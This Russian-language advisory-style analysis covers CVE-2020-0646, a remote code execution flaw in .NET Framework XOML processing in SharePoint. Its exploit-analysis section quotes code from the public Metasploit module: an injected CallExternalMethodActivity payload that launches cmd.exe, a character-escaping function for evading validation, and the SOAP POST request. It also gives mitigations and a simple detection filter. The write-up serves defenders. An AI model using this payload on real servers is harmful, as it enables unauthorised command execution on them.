
Уязвимость BDU:2020-00229 (CVE-2020-0646) Microsoft .NET Framework
Уязвимость BDU:2020-00229 (CVE-2020-0646) в Microsoft .NET Framework, связана с недостаточной проверкой входных данных при обработке XOML-файлов в SharePoint Workflows. Злоумышленник может внедрить произвольный код через специально сформированные XOML-данные, что приводит к удаленному выполнению команд (RCE) на сервере. Уязвимость затрагивает версии .NET Framework от 3.0 до 4.8, а также SharePoint, использующий эти компоненты.
Анализ уязвимости
Уровень опасности: Base Score: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки) – Атака через сеть (удаленно, без физического доступа).
-
AC:L (Сложность эксплуатации) – Низкая сложность: не требуется сложных условий для эксплуатации.
-
PR:N (Уровень привилегий) – Не требуется привилегий: атакующий действует без авторизации.
-
UI:N (Взаимодействие с пользователем) – Не требуется действий пользователя.
-
S:U (Влияние на другие системы) – Не оказывает влияния на другие компоненты.
-
C:H (Конфиденциальность) – Полное раскрытие конфиденциальной информации.
-
I:H (Целостность) – Полная компрометация целостности данных.
-
A:H (Доступность) – Полное нарушение доступности системы.
Условия эксплуатации
Для успешной атаки необходимо:
-
Наличие уязвимой версии .NET Framework (3.0–4.8) и SharePoint.
-
Доступ к SharePoint через интернет или внутреннюю сеть.
-
Наличие валидных учетных данных (логин/пароль) для аутентификации в SharePoint (см. параметры
USERNAME
иPASSWORD
в эксплойте). -
Возможность отправки SOAP-запросов к endpoint
/_vti_bin/webpartpages.asmx
.
Пример уязвимого ПО:
-
SharePoint Server 2010–2019, если используются указанные версии .NET Framework.
-
Приложения, использующие .NET Framework для обработки XOML-файлов.
Анализ кода эксплойта
Рассмотрим общедоступный модуль Metasploit для понимания вектора атаки. Эксплойт использует инъекцию в XOML-шаблоны Workflow, подменяя параметры MethodName
и InterfaceType
в элементе CallExternalMethodActivity
.
Генерация вредоносного XOML
Код формирует SOAP-запрос с XOML-данными, содержащими инъекцию в CDATA-секцию:
<CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);} Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c #{escape_command(cmd)}"); private/**/void/**/foobar(){//' />
Здесь:
-
/**/
используется для обхода проверок на пробелы. -
System.Diagnostics.Process.Start
запускает процессcmd.exe
с произвольной командой.
Функция escape_command
Метод экранирует запрещенные символы в Unicode-формате:
def escape_command(cmd) cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] } end
Пример преобразования: символ &
становится \u0026
, что обходит XML-валидацию.
Отправка запроса
Эксплойт отправляет POST-запрос к webpartpages.asmx
с аутентификацией:
res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'), 'ctype' => 'text/xml; charset=utf-8', 'data' => xoml_data, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] })
Защита от уязвимости
-
Обновление ПО:
-
Установить патчи Microsoft.
-
Обновить .NET Framework до актуальных версий.
-
-
Ограничение доступа к SharePoint:
-
Запретить доступ к
/ _vti_bin/
из внешних сетей. -
Использовать брандмауэры и сегментацию сети.
-
-
Усиление аутентификации:
-
Включить MFA для учетных записей SharePoint.
-
Минимизировать число привилегированных пользователей.
-
-
Валидация входных данных:
-
Реализовать фильтрацию XOML-файлов, запретив использование
/**/
иSystem.Diagnostics.Process
.
// Пример фильтрации в .NET if (xoml.Contains("Process.Start")) throw new InvalidOperationException("Blocked malicious activity.");
-
